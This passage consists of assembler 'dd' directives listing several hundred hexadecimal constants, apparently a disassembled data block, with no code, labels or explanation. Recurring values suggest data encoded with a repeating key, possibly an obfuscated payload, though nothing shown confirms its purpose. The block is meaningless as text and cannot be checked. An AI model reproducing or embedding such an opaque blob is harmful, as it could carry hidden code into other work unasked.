0E0393DAAh, 15B13256h, 73306D04h dd 6A93D750h, 2DBE6437h, 57B13242h, 0ABB13DBFh, 97B6C056h dd 0FF45E900h, 42DD4010h, 8DE7040Dh, 52E2C701h, 0AEB135DAh dd 563E3D56h, 5EB13256h, 0D5B132BEh, 306856h, 73ABAEE8h dd 0BAB137BFh, 0E6B40356h, 0CE44A797h, 57B2BA59h, 20D73256h dd 0B46BB9A7h, 0E5B947DDh, 75B134D2h, 0B5485256h, 0D6D0F0E1h dd 0BF58222Bh, 7BB13256h, 3A7B6517h, 0F6D89132h, 2888AF8h dd 6AF5231Ah, 0BABBDB01h, 0ABE33256h, 436A8723h, 0B4B0C9C0h dd 0BB595200h, 0D1B13256h, 2CF9CAE0h, 0DD44EA68h, 67B56AF6h dd 0D6199CC5h, 19BE6BAFh, 2C5953A6h, 5EB13257h, 51BEF25Dh dd 0EAB132F2h, 75B0B159h, 31483256h, 5DB8DBAEh, 4CBA3256h dd 13F009E2h, 0FE8B4499h, 0D5B6B759h, 6CBE3256h, 75B13257h dd 1923CDAFh, 0A8B7282Fh, 0A4393D0Bh, 0BEB13256h, 0ABB13253h dd 536A4AF7h, 0E6C409A1h, 75EFB659h, 0B5D13256h, 5DB134D6h dd 555EB356h, 5893553Ah, 0ABB133D4h, 0B3D0CE56h, 6ABE2CDDh dd 75B13244h, 6D51B336h, 0B4EEABD8h, 0AEB13253h, 0BC04B7D6h dd 4C3153F2h, 1A0752A6h, 8B7DD7D6h, 8CD12CDCh, 0DB48CA36h dd 0BE31CB37h, 0AF3E3DA6h, 0AEB13256h, 0AB95F0BEh, 3E3B5256h dd 0CB5853AEh, 804ECDA9h, 4F4D4FDFh, 0A24612BEh, 0A53D3DA9h dd 37B13256h, 0A461B930h, 0D5B132D9h, 6CBE5356h, 75B1325Ah dd 0BAB135BFh, 609B7F56h, 643B75FDh, 57BFDB0Dh, 55293256h dd 0ACE674B6h, 56D02580h, 149EA57Bh, 3BD75209h, 3C9D98B9h dd 0AEA5DB08h, 0C0CC3256h, 2C9F4BE9h, 159150AAh, 0B669ED4Ah dd 0E7232A89h, 3148AC82h, 0B5D1CE13h, 0AEB13244h, 0F0C152Eh dd 50A0BF2Dh, 5242634Ch, 6675BCBDh, 7958E402h, 0AAB13256h dd 0B8EDAC1Fh, 4D629A58h, 0E36DDF1h, 0CA67B930h, 1F063D36h dd 0EAB2B659h, 80313256h, 5378539Eh, 5DB13246h, 8BE736ADh dd 3671600h, 68F33076h, 0B2573C2Dh, 8AB13E94h, 0E8EEC6EFh dd 0BAB6DB36h, 0FA963256h, 96C230F5h, 0AFE45304h, 2848DEDDh dd 8248CA92h, 0EAB0BA59h, 23443256h, 0BAB138BFh, 23920B56h dd 0CFF1EFDDh, 37F77041h, 2A0BD4D6h, 70C0C89h, 0E5E0536Ah dd 75B121D1h, 0BABFDB56h, 1B763256h, 7EE8A6CAh, 5C503843h dd 66E72EFFh, 0D5A0DB05h, 7F7C3256h, 0CFCCEA60h, 0DEAEEC13h dd 0A9E46137h, 69CBCEE9h, 57B1CA13h, 27BE3256h, 0D5B13257h dd 6876CBAEh, 73AB49F4h, 0BAB13257h, 5DA0BE59h, 0A2583256h dd 18B13256h, 5EB13B53h, 0E780E5B6h, 617AC0C0h, 7AD13A23h dd 0BAB131D2h, 0AD0E3D56h, 25E48D30h, 493A5437h, 8E0BB9AFh dd 29B7282Fh, 0E5B96DDDh, 75B129D0h, 0AF363D56h, 0B4B13256h dd 0AEB13246h, 8E1F2033h, 6E75BF02h, 435286FCh, 0BD6F3F37h dd 0F1BEE95Dh, 0BAB13231h dd 526F09AEh, 0AEB10ED3h, 0E1495256h, 0BF585300h, 8CB13256h dd 0FB94D10Fh, 0D6391115h, 0FEF3EF3Bh, 0CA567EC0h, 257B0EDFh dd 0DE443E0Bh, 0A4D13E09h, 0D5B138D1h, 0EAB4DB56h, 36A53256h dd 79F962h, 495B4E02h, 0BA76B137h, 57B6B959h, 27BE3256h dd 0D5B13257h, 15CBDBAAh, 13D1CDA9h, 0EED4FAD7h, 953A5237h dd 0C8D06A00h, 0D1BE2CDDh, 0ABB1324Ch, 0D5A5BD59h, 0E5583256h dd 5DB13256h, 968DD97Bh, 78FF81A7h, 0F98A8048h, 0AC31AA42h dd 0A1353DBEh, 0DAB13255h, 0EAB135D0h, 74333D56h, 43B13256h dd 5258C9D6h, 0AEB3C6D2h, 0E8BE5256h, 0B964B29Eh, 3E4AB237h dd 0E852B659h, 0F5483256h, 3EBED0ADh, 5DB1309Dh, 4D4AB2AEh dd 5511B659h, 27BE3256h, 0D5B1325Ah, 0EAB7B959h, 0F1BE3256h dd 0BAB13256h, 3A4AB330h, 0A353DB5h, 37B13254h, 0FC4BB930h dd 0B4EE6D04h, 1641D5D6h, 7A4AB330h, 20353DD6h, 52B13254h dd 0AEB133D1h, 0D749CB56h, 26BEC2B5h, 0D5B1325Ch, 0E5D05236h dd 75B132DEh, 41315356h, 2B353D26h, 57B13254h, 57B123BFh dd 0B1CFE256h, 0E8CB9050h, 6EE8022Dh, 9A64EFE8h, 31D79193h dd 5DBEDB48h, 5E853256h, 0AC49BD23h, 0F678CC45h, 780DD363h dd 1252B29Fh, 75B134BFh, 56805B56h, 0DDD4AD98h, 2ABE8AADh dd 57B13372h, 0ABB137BFh, 0AF809D56h, 0D43141FCh, 64353D53h dd 53B13257h, 5DB13251h, 4257B7C5h, 0D7FFBC43h, 2FBE1F68h dd 0D5B132AAh, 828FB2AFh, 7543B659h, 53D13256h, 5DB13245h dd 1DE3E256h, 0C859E0B7h, 568F5789h, 0BBCC9614h, 8B5F5E8Dh dd 0E13B0A9h, 33BE344Ch, 5DB1325Eh, 0AEB3BB59h, 36D13256h dd 0A4AFB930h, 0D5B133D0h, 0D31C756h, 290F52AEh, 0B5961039h dd 0A8D0C3E9h, 2F4AB330h, 0F6353DBEh, 0CBB13256h, 0D5B5BC59h dd 55D73256h, 0F4D12824h, 0EEAF60B8h, 3CD0C77Ah, 0A1AFB930h dd 57B13ADDh, 0A93B3D56h, 0B5B13256h, 1A56B237h, 75B13ABFh dd 431BFA56h, 29BD1C0Ah, 55305453h, 0D3BEF2D7h, 0ABB13236h dd 0D5B6B659h, 61BE3256h, 75B13257h, 0EF4952A3h, 0FE23CDAEh dd 0CEB7282Fh, 0B8BAD0D7h, 0F6D043C7h, 0D5B4DB36h, 3DBC3256h dd 0F5197D62h, 0B5D0588Eh, 5DB13AD2h, 0AC323D56h, 37B13256h dd 57F4BB37h, 0D4323DAAh, 13B13256h, 832CB37h, 3FBE33AAh dd 5DB133A7h, 0AEB4B759h, 37D13256h, 57D0CA37h, 0D53C88DDh dd 8CD13442h, 0F59C95EDh, 0EAD0128Ch, 5DB121BFh, 0E913056h dd 0BFA4AC76h, 3CEC91EEh, 6348C6C9h, 0E4CD268Dh, 0D733B9AFh dd 43B7282Dh, 3D810E6Fh, 0F1D05206h, 6DC5C2D7h, 0F3D05F18h dd 0D42EB059h, 6EBE3256h, 75B13244h, 0BABDB259h, 5A583256h dd 55B13256h, 8B906CFBh, 113AFEF6h, 0D3A5399Bh, 0EAB0B759h dd 25443256h, 0BAB13CBFh, 4C68D756h, 6830979h, 0C64AB4D1h dd 0CBD34B5Dh, 5B37D2D7h, 8B493643h, 0E13B0DDh, 8349344Ch dd 0DDBE026Ah, 0AEB13257h, 0D8BE6AAFh, 0ABB13313h, 0D5B126BFh dd 0BE76B556h, 9A06EBF5h, 0C2D5EA01h, 1CF1CF52h, 0AAFA6D35h dd 57FEDBF0h, 0BA583256h, 69B13256h, 9CEC288h, 6CE32E5h dd 7DC98F51h, 1AE99BE9h, 3841B236h, 0ED58B330h, 0EE765321h dd 0D5B130AEh, 0C858CA56h, 9CB13256h, 0BAB13259h, 117142CDh dd 0E05B543Fh, 0C472268h, 6CC2FD31h, 0D5B0CA13h, 62BE3256h dd 75B13257h, 9F0BB9AAh, 0A1B7282Fh, 0A2582DDDh, 94B13256h dd 0A3BC8168h, 0B8BD87Ch, 0E1BB45B0h, 0C3353D8Dh, 53B13256h dd 5DB1325Ch, 0DD3CAF3Fh, 0F272E67Bh, 758A5135h, 0D5F7B759h dd 6EBE3256h, 75B13257h, 0B6ECB9AEh, 5DBDBC59h, 20BE3256h dd 57B13250h, 0ABB1B359h, 0A8323256h, 6EBE32AEh, 75B1324Dh dd 0B9323D36h, 3BB13256h, 25D7EADDh, 0AB253AEh, 0CDE152AEh dd 0B3EEE3DDh, 63D0F4DDh, 14D13609h, 0B5A5F5D5h, 5DB134D0h dd 0CFD15256h, 0BED05336h, 0ABB1325Ch, 68094FFh, 5D1649ECh dd 1058F3ABh, 0DA4ECDA9h, 11540BEDh, 6E82530Fh, 57B8DB36h dd 0A60F3256h, 0EAB6E7B3h, 6B5ADD8Dh, 0FB832C9Eh, 0EE58535Fh dd 52B13252h, 0AEB13ED3h, 51353D56h, 0A4B13256h, 0D5B132DBh dd 0F43A5456h, 75A1B059h, 0B1583256h, 0D4B13256h, 592CA93Bh dd 819FF46Eh, 0D63A5EB8h, 0D4353D5Ah, 16B13256h, 7A5AC9D6h dd 0BAB17ED2h, 0DCD1CB56h, 8239BB1h, 0AE3A5254h, 0ABB1B759h dd 0B4D03256h, 1F41D1D6h, 7AC1C9D6h, 0BAB144D2h, 5DBBDB56h dd 64FA3256h, 0D3E558DBh, 7D36CA9Dh, 0D5B039BFh, 0F8373D56h dd 15B13256h, 0BAB135BEh, 0A7F3B156h, 0DA5200DAh, 810E3D0Eh dd 42B6F437h, 0D4F6F5AAh, 0EAB13256h, 0A4305436h, 0AB596315h dd 23B13256h, 791ADFF8h, 0F0D4FC84h, 0A26C7827h, 0A588C29Eh dd 8BEEF5DDh, 7B58F5DDh, 0FBB13256h, 0F32E03ECh, 0D6F336Ah dd 8E96663Dh, 0AE71B175h, 0D630DBAEh, 8C483256h, 7DBE3591h dd 0B5AFB8AAh, 5DB135DDh, 0AF373D56h, 0A2B13256h, 5EBED1D6h dd 3C31F9D6h, 0EAB1325Fh, 5040D456h, 94F5A861h, 5CEEBA32h dd 0E47CB236h, 57B139BEh, 0C3E10D56h, 8865550Ch, 0EB3BBE84h dd 14EA5336h, 0B8F6F5AFh, 5DB13256h, 0AEB13DBFh, 4D56AB56h dd 0A14FD073h, 33783B4Ah, 0F3B333EEh, 0F6BEF5DDh, 0BAB1325Eh dd 9F0BCB36h, 0CFE430D2h, 0ABB7F2D5h, 0ABB234BFh, 0D5B4DB56h dd 65023256h, 15F8BC00h, 0BAB13DBFh, 47B96F56h, 5BD5C136h dd 0ACC61FCAh, 67585226h, 0D5B138BFh, 0FE81B256h, 7C779F65h dd 0DB642915h, 0CD8FB330h, 0E8353DC6h, 0AFB13256h, 0A4210CD6h dd 0D5B148D3h, 62BEC756h, 75B13251h, 1D7C736h, 3BD05965h dd 3E4E4CD7h, 75353DC6h, 0A4B13256h, 0D5B135DCh, 0EB363D56h dd 89B13256h, 0BAB17CBFh, 5DBADB56h, 0A2BD3256h, 0CE86B824h dd 9722D96Ch, 3C76B962h, 0EAB13258h, 2EC80004h, 653267F6h dd 43453C2Fh, 0A658F8A5h, 8B13256h, 0C6C981EDh, 3C69EC42h dd 0EAB13009h, 75B120BFh, 8F4FD556h, 647E1F92h, 19CE16D3h dd 3E10993h, 260F6BDCh, 0CFCD76D4h, 3E1CA50h, 75B1325Bh dd 0F3AC9634h, 0ED10BAB7h, 20A1D4E7h, 0DDBE6475h, 0ABB13257h dd 1023CDAFh, 0E5B7282Fh, 75B13FDCh, 0BAB9DB56h, 0C6F93256h dd 1FD8E378h, 97BA0C8Bh, 0ABEBB659h, 5CBE3256h, 0EAB13241h dd 75B120BFh, 21FBAD56h, 6917176h, 0A6F8A02Fh, 99B7CC90h dd 0A4CD0447h, 0D5B121D9h, 0EABFDB56h, 4AFC3256h, 51215217h dd 0BAD082A7h, 81CC25C4h, 5E58FADDh, 0F2B13256h, 909CB8C6h dd 8D280861h, 3103BFAFh, 4FB7282Ah, 5DB14ABFh, 960B5256h dd 36ADBE28h, 653AC700h, 0B47FB936h, 0EA3C3D36h, 27B13256h dd 0BAB13BBEh, 0F72AB656h, 81920A1Ch, 0EE9790Bh, 2CBE6737h dd 0D5B1325Ah, 0EAB7B559h, 0F2BE3256h, 0BAB13256h, 2412A0A9h dd 0A1D1344Ch, 0E8BEC2E1h, 0A658539Dh, 0C3B13256h, 59CB92ECh dd 6AC432DFh, 69044FE3h, 5C3A3D0Bh, 5BB13256h, 0A04DFC7Dh dd 42EFCB8Fh, 0D5B1325Fh, 219851DDh, 8D596779h, 42CCB1ECh dd 0A343D57h, 0CEB13256h, 37CD8536h, 6D3B5337h, 2DF88237h dd 0EABFDBFCh, 4D6D3256h, 41557523h, 0E056839h, 8AA6F168h dd 0D2BE8A30h, 571A54AEh, 0D4F78459h, 0EAB6DB36h, 33F43256h dd 0E49708F4h, 0AD3A5432h, 47489937h, 57B132BEh, 0ABB13FBFh dd 76BEEF56h, 89C530FCh, 4F17FF6h, 0C7322DDBh, 0D8BE30AEh dd 0AEB132FBh, 57B123BFh, 5BBDD856h, 16B78F4Bh, 3B44C149h dd 5DCE5D50h, 2D7A5CEh dd 0D3BEFB5Dh, 0AEB1324Eh, 57B121BFh, 6455A956h, 8715540h dd 2FA2CAA1h, 87FD8119h, 748EE6AFh, 5DB13FBFh, 208A5956h dd 0C39C01C2h, 636333BEh, 7ED7D9C5h, 0EAB5BD59h, 15D13256h dd 2D75337h, 3B48B659h, 0AEB8DBFDh, 99B33256h, 98C5E083h dd 0DAD58BDBh, 3B074E0h, 75B13253h, 88F4D45Ah, 49589914h dd 80B13256h, 5516922Bh, 3D108419h, 7AFA5AF1h, 560FE7D4h dd 9C7D7736h, 0BAB13262h, 5DB122BFh, 604DA156h, 397C4539h dd 0F643FA7Dh, 25D72D46h, 0E515C181h, 75B125DAh, 0BAA3DB56h dd 0B5033256h, 7889929h, 6B460354h, 44A7B5EEh, 9274692Ah dd 0B149F5DDh, 763D3D36h, 0DCB13256h, 0E4D7E3DDh, 0F7D01231h dd 57B0BD59h, 0F5493256h, 3DD16DAEh, 0EAB13258h, 0CAA9519h dd 1A946284h, 8D67FAE9h, 4C30D17Eh, 1F07C679h, 0CA268508h dd 0D958529Fh, 83B13256h, 0AE90A519h, 63D018EFh, 3BABA8C3h dd 0A1D0F5DDh, 57B133D1h, 0A373CA56h, 0D83B3D56h, 3B13256h dd 75B1325Eh, 6A5DA18Dh, 0EB772238h, 9DCC8836h, 3F0667C5h dd 0AC586737h, 0DCB13256h, 6A988491h, 7B58FA72h, 0C3B13256h dd 93938946h, 3EDD4E3h, 0A53A773Fh, 525DB9F8h, 0D5B0B959h dd 8A483256h, 0B4063D36h, 52D0CBDDh, 5DB13256h, 435BB30Ch dd 37B728FEh, 58088930h, 0B4FEDED6h, 0AF3ACEA3h, 7A3F3D5Eh dd 0DAB13256h, 5DB13ABFh, 28CDFE56h, 0BC76B04h, 2938530Bh dd 0D3AB4B31h, 0EAAEB759h, 0F5BE3256h, 0BAB1324Fh, 5DB126BFh dd 99AB3B56h, 2966457Fh, 3FAF9D81h, 0F774BED5h, 638A0E3Eh dd 9CD153AEh, 0BAB13250h, 53D504DFh, 703A8AAFh, 5A58FB37h dd 51B13256h, 1E4CE30Ch, 67313AE5h, 0F68ABCEEh, 0DAB13694h dd 0D6D7EADDh, 0A1E45385h, 57B138D1h, 1CBE5256h, 0A88088A5h dd 61D01FC9h, 0C2BE52BAh, 0AF0A528Eh, 3CFB74DFh, 5675B137h dd 435852AAh, 0AEB13256h, 0A5F5A62Fh, 0F9522DE5h, 0F204FB50h dd 8B1C065Bh, 0B5F1C6BEh, 0AEB13256h, 0E65BB30Ch, 53B728FFh dd 0D595BE59h, 3D13256h, 75B1325Fh, 8CA3587h, 98821E40h dd 0AEBFDAF9h, 0A59C3256h, 8F2D8466h, 0DF3587E2h, 2A1828Ch dd 30765309h, 0BAB132AEh, 5C3C3D56h, 52B13256h, 0ABF4F5AAh dd 0ABB13256h, 0D5B0BC59h, 0D9483256h, 64383D96h, 53B13256h dd 5DB1325Ah, 7EFFD6BAh, 3C8AC4E6h, 4AE75ABAh, 20AFB930h dd 9113B091h, 75B0344Ch, 0EAD13256h, 5DB1B359h, 2FEF3256h dd 115F3489h, 0BF58534Dh, 12B13256h, 914036BAh, 90090822h dd 0E5262FC4h, 1298CD49h, 0C8170A01h, 0C721C9D7h, 0ABBEB759h dd 3CD13256h, 0EAB1325Eh, 9D4A7DCBh, 1502B278h, 0B54AB237h dd 0AA32B659h, 5C583256h, 73B13256h, 0BF4882Bh, 0B9D05649h dd 80F1C603h, 0B558C9D6h, 5DB55AD2h, 0B63F3D56h, 58B13256h dd 0ABB120DCh, 0D5BCDB56h, 0A5ED3256h, 0D764AC36h, 0A82B2FB1h dd 1D67316Bh, 454AB2AEh, 538EB659h, 0EB4D3256h, 0D5B135BFh dd 0CC248F56h, 0FFE633B1h, 0DA41D5D6h, 72808836h, 0A0580825h dd 33B13256h, 1EA7DF0Dh, 58CF7F68h, 979EF180h, 0CCD15321h dd 85C5F3F2h, 0DDD15337h, 0A258CAA3h, 72B13256h, 0E936169Bh dd 0B1D69880h, 8BBA847Fh, 7A4AB330h, 50353DD6h, 0A1B13255h dd 0A5CCB055h, 58493442h, 0ABB133D6h, 3CF1CE56h, 0EAB1325Bh dd 538FDED7h, 0ABA82C4Ch, 328173B9h, 4C4AB22Fh, 543CB659h dd 0A3583256h, 0C9B13256h, 0FF280A96h, 0F541C25Fh, 3EBED1ADh dd 5DB1311Eh, 0AEB138BFh, 0E7B5FF56h, 0CB5B4A4Ch, 0B3C490B5h dd 9D6C9D7h, 76ECB659h, 39BE3256h, 5DB13245h, 0AEBADB36h dd 0F0793256h, 99250DACh, 8AA4CD2Dh, 0E5D0CA5Bh, 75B13AD9h dd 0B83D3D56h, 3DB13256h, 5E52B237h, 274AB2AFh, 0A8EAB659h dd 50BE3256h, 0EAB13257h, 6B3A54A3h, 4252B2AEh, 0E54AB2AFh dd 0AF20B659h, 58D13256h, 0ABB131D4h, 1A3A5456h, 0E250B330h dd 4B31536Ch, 0C2353D53h, 0B4B13257h, 0AEB13245h, 9D714C80h dd 13ACFF42h, 12E91BE8h, 9EFDEF89h, 0F59BA893h, 3EBE1F68h dd 5DB13301h, 0AEB13EBFh, 7309A156h, 0A310C296h, 0DB365278h dd 828FB26Ch, 748CB659h, 0A8583256h, 52B13256h, 26D46BD5h dd 14B56493h, 51C3AEF2h, 2C6A530Ah, 8AF1C715h, 75B135BFh dd 88983A56h, 9011D1E8h, 2C4ECE37h, 51AB49F4h, 0ABB13ABFh dd 0C1E54856h, 0C13E0C31h, 6B3A54CDh, 4256B2AEh, 5DA4B359h dd 46D13256h, 57B1325Fh, 0C1299700h, 5A399D67h, 54D76983h dd 13D029E8h, 5230C9D7h, 5D64B659h, 0C8493256h, 0DABE2CDDh dd 0ABB13257h, 2556B2AFh, 0EAB13ABFh, 83B74456h, 0C6B3D0D7h dd 5DBFDBAAh, 0F3E23256h, 0F88D6E11h, 10CBEA7Bh, 0F6B3415Ah dd 6B4AB330h, 0E9353D96h, 46B13256h, 5DB8DB36h, 0E0203256h dd 471142EDh, 42F220AEh, 0D5B13253h, 44B41086h, 0F2BE679Ch dd 0BAB13257h, 0FE23CDA3h, 0CEB7282Fh, 963A5436h, 0ABB121BEh dd 6A1F9256h, 0AA674AA0h, 0A4D49AB6h, 0C2881A00h, 0CC05A2D5h dd 2BBE530Fh, 57B13250h, 0ABB1B559h, 88D03256h, 16F4BBAEh dd 0FBBE53A3h, 0BAB1324Fh, 5DB126BFh, 8D460C56h, 7D168A0Ah dd 7209FC19h, 0B28B5FB8h, 0C19733A2h, 75B4DB16h, 11A33256h dd 0DEBA5294h, 0A1B0CE2Bh, 57B737D3h, 0A3353D56h, 0B5B13256h dd 0EAB1BD59h, 0FED03256h, 0AEB1BFECh, 0AD305250h, 0EC54D46Bh dd 7D06B06h, 5A063D36h, 0D5B2B559h, 5DBE3256h, 0F73A538Fh dd 0BCAB49F4h, 5DB138BFh, 139EB156h, 0C7615CC6h, 922C90EDh dd 0D358026Ah, 0D2B13256h, 6613526h, 0BABEDB50h, 90CE3256h dd 2A90C430h, 17F7B110h, 0AA8F13A6h, 57BE6A1Eh, 0EAB137CCh dd 0B80BB9AFh, 42B7265Dh, 5DB120BFh, 463C8256h, 82E6F016h dd 4CFA9267h, 4E3516BAh, 0BA8978FCh, 75B134BFh, 4991D956h dd 0D6EEFEF2h, 0B4CA90D4h, 6B88CE50h, 0A4E9CA66h, 0D5B46FD9h dd 6149C756h, 6FC866ECh, 0B33D3D50h, 3DB13256h, 8D72B330h dd 36D052BCh, 0D2E5B0D5h, 0B5A5344Ch, 61678D59h, 61585390h dd 59B13256h, 6C12E55h, 5C57817Fh, 6E745FADh, 0F965C4E5h dd 5C878699h, 0AD38C761h, 15E1CE46h, 383A53A3h, 5BAB49F4h dd 0AEB138BFh, 50A58656h, 6B001052h, 5E2C8591h, 59D1024Ah dd 6940B2E1h, 34BE6A37h, 5DB13242h, 0AEB13DBFh, 0A39CA156h dd 7AB33BA1h, 0AB7CB5A3h, 0DAA175Bh, 15B96DDFh, 0BAA1BF59h dd 57593256h, 0FDB13256h, 272EC13Fh, 5CAED5D2h, 54D7699Ch dd 8B9C4E9Fh, 75B587BFh, 0B3343D56h, 3DB13256h, 0AEB1B859h dd 364D3256h, 0A9497791h, 2CB13256h, 0EAE2DBAAh, 0CAD13256h dd 0D8626F99h, 3C79DFD6h, 0A2586236h, 0CCB13256h, 0A286C839h dd 1EDA0A14h, 0B53C7B47h, 0B2D0FCDCh, 0BAB0CA13h, 0E3D13256h dd 0E70383FCh, 57B13CBEh, 2754356h, 0DD84D8B1h, 0B2BC31B4h dd 0FEC8B07Dh, 0B5D06DAFh, 5DB13AD9h, 0AC3A3D56h, 37B13256h dd 0FF0BB937h, 3CB7282Fh, 0EAB13250h, 0A725AD21h, 3832CE2Bh dd 5BAB4B02h, 0AEBCDB42h, 0DDD83256h, 0CB05230Ah, 1C48839Bh dd 0E5F67E20h, 75B13ADBh, 0B8353D56h, 3DB13256h, 5B86BB37h dd 0BEA175DFh, 0ABB1325Ch, 0B440D81Dh, 0BE074A00h, 8D324C16h dd 0D3343D55h, 0B4B13256h, 0AEB1325Bh, 98854D0h, 1C04CBC3h dd 0F018B02Dh, 4833F529h, 77B7282Dh, 53B13256h, 5DB13246h dd 9D509081h, 0F2D2D53Eh, 0A212F695h, 61014C10h, 0E3BA8D36h dd 7B59185Fh, 23B13256h dd 3F6CFF02h, 0C5BFD421h, 0DC30E87h, 42D06B8Fh, 0D5B13274h dd 0BC43B236h, 75BCB659h, 0BD593256h, 0C8B13256h, 0D74251A3h dd 36E8796Ch, 0A4B3CAD5h, 0D5B352DBh, 9732C756h, 0F1BE32AEh dd 0BAB132DBh, 1B073DAAh, 0AEBFDB57h, 0B2EF3256h, 4137F66Eh dd 2C5D3838h, 96D065A8h, 75B1B2FFh, 0E0343D56h, 52B13256h dd 0AEB133D2h, 0BEF1C756h, 0ABB13244h, 0EF99B32Ah, 422F4F42h dd 1E8F2D5h, 0ED83CA66h, 0B53280D3h, 9258CE53h, 58B13256h dd 0ABB12CD6h, 54D75256h, 29B2387h, 75B13247h, 0F65CBB20h dd 0B218CE32h, 0FC82B11Fh, 1727E292h, 0A4D06AF6h, 0D5B13AD4h dd 0B3E65256h, 0A2858A30h, 0BA4E1F37h, 0DE443256h, 474437BEh dd 57B13270h, 204961AAh, 0CFCA90CCh, 0EAB4DB50h, 6B913256h dd 31BEB511h, 54580152h, 0B6B13256h, 0DCAC6CE7h, 0EC49397Ch dd 0D518CB0Dh, 0E5313256h, 75B19FD3h, 0BD333D56h, 3DB13256h dd 0C479B330h, 5F585320h, 0D8B13256h, 7747AB9Dh, 0E9DD4C9Ch dd 0AA315290h, 150B5482h, 9D32535Dh, 0BB3C3D53h, 0BEB13256h dd 0ABB13246h, 5489AAE5h, 0AB83389Ah, 67C427CBh, 0CB3065C8h dd 2613B055h, 0A1D1344Ch, 5B58F2E1h, 1CB13256h, 3CEA027Bh dd 0CFA26A33h, 14A86D97h, 0BABFDB1Eh, 49873256h, 0B5D73ABFh dd 728E6378h, 13720B63h, 0DAB975DFh, 0EAB134D0h, 0F5445256h dd 33D02881h, 0DFBE3E11h, 0AEB13240h, 57B123BFh, 72458D56h dd 4A4A8674h, 0CFDF2DDEh, 0B346D9A8h, 0B55840A5h, 52B13254h dd 0AEB133D5h, 8F46CB56h, 0ABBCB959h, 0DD583256h, 6CB13256h dd 73F26CE9h, 9171E52Fh, 463E3D90h, 0CEB13256h, 57B123BEh dd 8B86C956h, 13FEA099h, 7EEC7C4Dh, 625551CEh, 30EE4719h dd 4D58539Ch, 36B13256h, 90A92886h, 5980A549h, 7589B3BAh dd 1D3CAC1Eh, 0FBBECB8Eh, 0BAB13243h, 5DB122BFh, 0B77B5D56h dd 0DF054BB3h, 0FB33D24Ch, 271482A3h, 0EF71B16Eh, 75B0B659h dd 53493256h, 5DB13247h, 9084AA70h, 47A59D9Bh, 0CABE599Ah dd 95FF6652h, 483331FEh, 15B7282Dh, 0BAB3B159h, 3CD13256h dd 0E6D049E1h, 57A3BB59h, 0A6583256h, 0AFB13256h, 0DE9A18FDh dd 0BDC39825h, 4784B365h, 52B975DFh, 0AEB133DBh, 1038CB56h dd 15D1525Ah, 0DBF40E41h, 0EAB134BEh, 0D2337356h, 0E17F5A42h dd 76585337h, 0CEB13257h, 57B137BFh, 0BDEDF356h, 2D3A5070h dd 8A710137h, 260A54AEh, 0FC3B5395h, 5658CB57h, 25B13256h dd 4F3B3F83h, 0ED4D7901h, 5519509Dh, 0EA32B759h, 0F6BE3256h dd 0BAB1325Ah, 5DB7BD59h, 20BE3256h, 57B13256h, 0FDD1F455h dd 0D5B1BE59h, 58E83256h, 0B5325308h, 0BB3D3D54h, 0A8B13256h dd 0AEB133EDh, 5F373D56h, 0A4B13256h, 0D5B130DFh, 0E1D05256h dd 6C353D8Dh, 46B13256h, 0F30CA8DCh, 2E49344Fh, 0DDD133B5h dd 2ABE52A8h, 0D5B13256h, 8BD06C01h, 8CD1F155h, 0BA393D36h dd 3CB13256h, 0A6F6BB37h, 5BF6BBAFh, 0AB31DBA3h, 53BE3256h dd 0EAB13253h, 8CD05236h, 4F69C537h, 5DB1CD73h, 0AF3B3D56h dd 0AFB13256h, 0A4D1F47Dh, 2430EBE9h, 0E5FE5D59h, 1569C537h dd 0DB71DCD6h, 0B4B3F2D5h, 0AEB13244h, 3F4216EFh, 0AF9AE8F1h dd 200918D0h, 9869C7DEh, 32385348h, 3BBE525Eh, 5DB13240h dd 0AEB123BFh, 11A21156h, 0CAD14A86h, 0D9688461h, 0ADE299DFh dd 0F4D783F4h, 0DBDB4A8Ch, 0B4BD75DFh, 0AEB1325Ch, 1C9F07DEh dd 39124593h, 3C49FFADh, 0EAB13250h, 0F93B0B7Ch, 53D0DB74h dd 5DB1325Fh, 847E7A21h, 218E3EF1h, 0F8D1FB7Ch, 16485309h dd 0EAB122BFh, 5FE4F356h, 0CA65EE43h, 0AAAA27F5h, 0CB8D4020h dd 5A58672Bh, 68B13256h, 0E0882D1Fh, 0A68CD7F3h, 0C7FF2402h dd 0AE58DEDDh, 21B13256h, 97C9AD3Dh, 0F479B07Eh, 0A71A767Bh dd 0E0F9EF95h, 696723B8h, 7B58CE92h, 47B13256h, 6E158A45h dd 0A566086Bh, 0C4924E41h, 29BE52C2h, 0D5B1325Ah, 0EAB7BB59h dd 0F6BE3256h, 0BAB13256h, 5DB132BEh, 44306856h, 51AB8198h dd 113ACAAAh, 0D3AB4B73h, 220B5236h, 8D838A34h, 0BAA5DA37h dd 0A7803256h, 82C495CFh, 0D9ED6B4Eh, 9B6BB8E1h, 6B758238h dd 6BD7194Bh, 2FE25BB0h, 46780137h, 52B10DD5h, 0AEB598D2h dd 5D303D56h, 42B13256h, 0D5B13253h, 731C7E12h, 7AB6B9A6h dd 0BAB12CD6h, 45383D56h, 47B13256h, 57B13245h, 96E08E93h dd 0DFCCDAD6h, 4FAC5A8Fh, 8D10724Bh, 45CD5D5Bh, 0D4BE3E23h dd 0AEB13257h, 224ECAAFh, 0A358CA5Eh, 4B13256h, 23C592E2h dd 2518766Dh, 3BD75236h, 0B5C98A87h, 0AEB1325Ch, 0DDCFF2E4h dd 96E1A8FDh, 0B4EEF31Fh, 8B6A8D59h, 75B853BEh, 7C3A5256h dd 3C61B930h, 2BBEF25Dh, 57B13270h, 0ABB120BFh, 4E476256h dd 0D632B69Ah, 0BBB9F352h, 351AD775h, 0D6ED1388h, 0BC58C751h dd 58B13256h, 0ABB133DAh, 1232C756h, 0AF58CB42h, 894ECDA9h dd 46F4BBAFh, 5DB135BFh, 0C5259456h, 476FEE41h, 42BD47A9h dd 0D5B13245h, 86E74F4Ah, 5D00288Dh, 0A334FE9Ch, 4BB7A4F8h dd 0CE54214Eh, 0AB01EDD6h, 0A3C4CD37h, 0D5B6B959h, 66BE3256h dd 75B13257h, 0B1303DAEh, 0B4B13256h, 0AEB13250h, 19FF082Ch dd 9C4E844Ch, 0D5B6B559h, 66BE3256h, 75B13257h, 0B20DDAAEh dd 56483256h, 9A353D96h, 37B13256h, 0ABB139BEh, 6FE13356h dd 76F5728Ch, 0B9B92D44h, 0E4428559h, 5DB121BFh, 63B6F156h dd 1BE6F1A8h, 773BDB20h, 9A4C5F95h, 0E019AD8Dh, 76E4DB37h dd 31493256h, 3DD1CE13h, 0AEB1B359h, 0BED03256h, 0ABB13250h dd 0EAB2062Dh, 0D3D022B1h, 41333D51h, 0B5B13255h, 5DB133D9h 